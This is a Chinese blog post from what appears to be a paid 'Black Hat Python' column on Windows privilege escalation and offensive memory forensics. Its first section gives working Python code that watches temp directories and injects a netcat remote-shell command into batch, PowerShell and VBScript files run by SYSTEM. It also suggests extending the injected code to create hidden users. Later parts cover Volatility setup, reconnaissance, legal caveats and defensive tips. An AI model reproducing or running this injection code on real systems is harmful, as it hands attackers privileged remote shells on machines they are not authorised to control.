16、Windows 提权与进攻性取证技术解析

原创于 2025-09-10 11:52:08 发布 · 137 阅读

文章标签：

#Windows提权 # 进攻性取证 # 进程监控

黑帽Python实战精讲专栏收录该内容

17 篇文章 ¥499.90

订阅专栏¥69.90

会员秒杀 ¥9.9 重磅福利

超级会员免费看

Windows 提权与进攻性取证技术解析

一、Windows 提权

在 Windows 系统中，提权是获取更高权限以执行更多操作的重要手段。下面将详细介绍相关技术和操作步骤。

1. 进程监控与权限跟踪

通过添加权限跟踪代码，我们可以监控进程的权限信息。以下是具体操作：
- 运行 process_monitor.py 脚本：

C:\Users\tim\work> python.exe process_monitor.py

运行后，会输出进程的权限信息，例如：

"Calculator.exe",
20200624084445.120519-240 ,
C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe,
1204 ,
13116 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|
notepad ,
20200624084436.727998-240 ,
C:\Windows\system32\notepad.exe,
10720 ,
2732 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|

我们可以根据这些信息，筛选出以非特权用户运行但启用了有趣权限的进程，从而发现依赖不安全外部文件的进程。

2. 竞争条件利用

在企业环境中，批处理、VBScript 和 PowerShell 脚本常用于自动化任务，但这些脚本文件可能存在访问控制不足的问题。例如，某些脚本由 SYSTEM 用户每天运行一次，但任何用户都可以全局写入。

当运行进程监控器足够长时间时，可能会看到类似以下的进程记录：

wscript.exe C:\Windows\TEMP\bhservice_task.vbs , 20200624102235.287541-240 , C:\Windows\
SysWOW64\wscript.exe,2828 , 17516 , ('NT AUTHORITY', 0, 'SYSTEM') , SeLockMemoryPrivilege|SeTcb
Privilege|SeSystemProfilePrivilege|SeProfileSingleProcessPrivilege|SeIncreaseBasePriorityPrivil
ege|SeCreatePagefilePrivilege|SeCreatePermanentPrivilege|SeDebugPrivilege|SeAuditPrivilege|SeCh
angeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeIncreaseWorkingSetPrivileg
e|SeTimeZonePrivilege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege|

这里，SYSTEM 进程启动了 wscript.exe 并传入了 C:\WINDOWS\TEMP\bhservice_task.vbs 参数。但当查看目录内容时，可能看不到该文件，因为服务会创建包含 VBScript 的文件，执行后再删除。

为了利用这种情况，我们需要在文件被执行和删除之前注入自己的代码。可以使用 Windows API ReadDirectoryChangesW 来监控目录变化，以下是创建文件监控器的代码：

# Modified example that is originally given here:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import os
import tempfile
import threading
import win32con
import win32file

FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
FILE_LIST_DIRECTORY = 0x0001

PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]

def monitor(path_to_watch):
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE |
        win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )
    while True:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY |
                win32con.FILE_NOTIFY_CHANGE_SIZE,
                None,
                None
            )
            for action, file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)
                if action == FILE_CREATED:
                    print(f'[+] Created {full_filename}')
                elif action == FILE_DELETED:
                    print(f'[-] Deleted {full_filename}')
                elif action == FILE_MODIFIED:
                    print(f'[*] Modified {full_filename}')
                    try:
                        print('[vvv] Dumping contents ... ')
                        with open(full_filename) as f:
                            contents = f.read()
                        print(contents)
                        print('[^^^] Dump complete.')
                    except Exception as e:
                        print(f'[!!!] Dump failed. {e}')
                elif action == FILE_RENAMED_FROM:
                    print(f'[>] Renamed from {full_filename}')
                elif action == FILE_RENAMED_TO:
                    print(f'[<] Renamed to {full_filename}')
                else:
                    print(f'[?] Unknown action on {full_filename}')
        except Exception:
            pass

if __name__ == '__main__':
    for path in PATHS:
        monitor_thread = threading.Thread(target=monitor, args=(path,))
        monitor_thread.start()

操作步骤如下：
1. 定义要监控的目录列表 PATHS ，这里选择了两个常见的临时文件目录。
2. 为每个路径创建一个监控线程，调用 monitor 函数。
3. monitor 函数首先获取要监控目录的句柄，然后调用 ReadDirectoryChangesW 函数监控目录变化。
4. 当检测到文件变化时，输出相关信息，若文件被修改，则输出文件内容。

3. 代码注入

在能够监控进程和文件位置后，我们可以自动将代码注入目标文件。以下是具体步骤：
- 定义常量和代码片段：

NETCAT = 'c:\\users\\tim\\work\\netcat.exe'
TGT_IP = '192.168.1.208'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c '

FILE_TYPES = {
    '.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
    '.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
    '.vbs': ["\r\n'bhpmarker\r\n",
    f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}

定义 inject_code 函数：

def inject_code(full_filename, contents, extension):
    if FILE_TYPES[extension][0].strip() in contents:
        return
    full_contents = FILE_TYPES[extension][0]
    full_contents += FILE_TYPES[extension][1]
    full_contents += contents
    with open(full_filename, 'w') as f:
        f.write(full_contents)
    print('\\o/ Injected Code')

修改主事件循环：

elif action == FILE_MODIFIED:
    extension = os.path.splitext(full_filename)[1]
    if extension in FILE_TYPES:
        print(f'[*] Modified {full_filename}')
        print('[vvv] Dumping contents ... ')
        try:
            with open(full_filename) as f:
                contents = f.read()
            # NEW CODE
            inject_code(full_filename, contents, extension)
            print(contents)
            print('[^^^] Dump complete.')
        except Exception as e:
            print(f'[!!!] Dump failed. {e}')

操作步骤如下：
1. 定义常量 NETCAT 、 TGT_IP 和 CMD ，用于指定 Netcat 可执行文件的位置、目标 IP 地址和要执行的命令。
2. 定义 FILE_TYPES 字典，包含不同文件扩展名对应的代码片段和标记。
3. inject_code 函数用于检查文件中是否已存在标记，若不存在则注入代码。
4. 修改主事件循环，当检测到文件被修改且文件扩展名在 FILE_TYPES 中时，调用 inject_code 函数。

二、进攻性取证

进攻性取证是利用防御工具进行侦察和攻击的技术。下面将介绍使用 Volatility 框架进行进攻性取证的方法。

1. Volatility 框架安装

Volatility 是一个用于内存取证的 Python 框架，以下是在 Windows 系统上的安装步骤：
1. 创建并激活虚拟环境：

PS> python3 -m venv vol3
PS> vol3/Scripts/Activate.ps1
PS> cd vol3/

克隆 Volatility 3 GitHub 仓库并安装：

PS> git clone https://github.com/volatilityfoundation/volatility3.git
PS> cd volatility3/
PS> python setup.py  install

安装 pycryptodome ：

PS> pip install pycryptodome

安装完成后，可以使用以下命令查看 Volatility 提供的插件和选项：
- Windows 系统：

PS> vol --help

Linux 或 Mac 系统：

$> python vol.py --help

2. 内存镜像获取

获取内存镜像的最简单方法是对自己的 Windows 10 虚拟机进行快照。具体步骤如下：
1. 启动 Windows 虚拟机并运行一些进程，如记事本、计算器和浏览器。
2. 使用虚拟机管理程序进行快照，在虚拟机存储目录中会生成以 .vmem 或 .mem 结尾的快照文件。

此外，还可以在网上找到许多内存镜像，例如 PassMark Software 提供的镜像：https://www.osforensics.com/tools/volatility-workbench.html/ ，以及 Volatility Foundation 网站提供的镜像：https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples/ 。

3. 通用侦察

使用 Volatility 框架进行通用侦察可以获取目标机器的基本信息。以下是具体操作：
- 使用 windows.info 插件查看操作系统和内核信息：

PS>vol -f WinDev2007Eval-Snapshot4.vmem windows.info

输出结果示例：

Volatility 3 Framework 1.2.0-beta.1
Progress:   33.01               Scanning primary2 using PdbSignatureScanner
Variable        Value
Kernel Base     0xf80067a18000
DTB             0x1aa000
primary 0       WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf800686272f0
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2020-09-04 00:53:46
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404

使用 registry.printkey 插件打印注册表键值：

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.registry.printkey --key 'ControlSet001\Services'

输出结果会列出注册表中 ControlSet001\Services 键下的所有服务信息。

通过以上操作，我们可以深入了解目标系统的信息，为进一步的攻击提供依据。

综上所述，Windows 提权和进攻性取证是在网络安全领域中非常重要的技术。通过掌握这些技术，我们可以更好地保护自己的系统安全，同时也可以发现和利用系统中的漏洞。在实际应用中，需要根据具体情况选择合适的方法和工具，并严格遵守法律法规。

Windows 提权与进攻性取证技术解析

三、技术总结与应用拓展

1. 技术总结

为了更清晰地展示前面介绍的各项技术，我们可以用表格进行总结：
| 技术类别 | 具体技术 | 操作步骤 |
| ---- | ---- | ---- |
| Windows 提权 | 进程监控与权限跟踪 | 运行 process_monitor.py 脚本，根据输出筛选有特殊权限的进程 |
| | 竞争条件利用 | 1. 定义监控目录列表；2. 创建监控线程；3. 获取目录句柄并监控变化；4. 输出文件变化信息及内容 |
| | 代码注入 | 1. 定义常量和代码片段；2. 编写 inject_code 函数；3. 修改主事件循环，根据文件扩展名注入代码 |
| 进攻性取证 | Volatility 框架安装 | 1. 创建并激活虚拟环境；2. 克隆并安装 Volatility 3 仓库；3. 安装 pycryptodome |
| | 内存镜像获取 | 1. 启动虚拟机并运行进程；2. 进行快照获取 .vmem 或 .mem 文件；也可从网上获取 |
| | 通用侦察 | 1. 使用 windows.info 插件查看系统信息；2. 使用 registry.printkey 插件打印注册表键值 |

下面是一个 mermaid 格式的流程图，展示 Windows 提权的整体流程：

graph LR
    A[开始] --> B[进程监控与权限跟踪]
    B --> C{是否发现有特殊权限进程}
    C -- 是 --> D[竞争条件利用]
    C -- 否 --> B
    D --> E[代码注入]
    E --> F[结束]

2. 应用拓展

在实际应用中，我们可以根据不同的场景对这些技术进行拓展。例如，在 Windows 提权方面：
- 扩大监控范围 ：在进程监控时，可以不仅仅监控临时目录，还可以监控系统关键目录，如 C:\Windows\System32 等，以发现更多潜在的提权机会。
- 优化代码注入 ：可以根据不同的目标系统和需求，修改注入的代码片段，实现更复杂的功能，如创建隐藏用户、执行远程命令等。

在进攻性取证方面：
- 自定义插件开发 ：深入研究 Volatility 框架的代码结构，开发自定义插件，以满足特定的侦察需求，如查找特定的进程或文件。
- 多镜像分析 ：同时对多个内存镜像进行分析，对比不同时间点或不同系统的信息，发现更隐蔽的攻击痕迹。

四、注意事项与安全建议

1. 注意事项

在使用这些技术时，需要注意以下几点：
- 合法性 ：确保你的操作是在合法的环境和授权下进行的，避免进行未经授权的攻击和侦察行为，否则可能会触犯法律法规。
- 系统稳定性 ：代码注入和内存分析等操作可能会对系统的稳定性产生影响，在进行操作前，最好先备份重要数据，并在测试环境中进行充分测试。
- 数据准确性 ：在进行内存分析时，由于内存数据的动态性，可能会出现数据不准确的情况，需要结合其他信息进行综合判断。

2. 安全建议

为了提高系统的安全性，我们可以采取以下建议：
- 权限管理 ：严格控制用户和进程的权限，避免不必要的高权限运行，减少提权的风险。
- 文件访问控制 ：对重要的脚本文件和系统文件设置严格的访问控制，防止被非法修改和利用。
- 定期检查 ：定期使用安全工具对系统进行检查，包括内存分析、进程监控等，及时发现和处理潜在的安全威胁。

以下是一个 mermaid 格式的流程图，展示安全防护的整体流程：

graph LR
    A[开始] --> B[权限管理]
    B --> C[文件访问控制]
    C --> D[定期检查]
    D --> E{是否发现安全威胁}
    E -- 是 --> F[处理威胁]
    E -- 否 --> D
    F --> G[结束]

通过以上的技术总结、应用拓展以及注意事项和安全建议，我们可以更全面地掌握 Windows 提权和进攻性取证技术，在保障系统安全的同时，也能更好地发现和利用潜在的安全漏洞。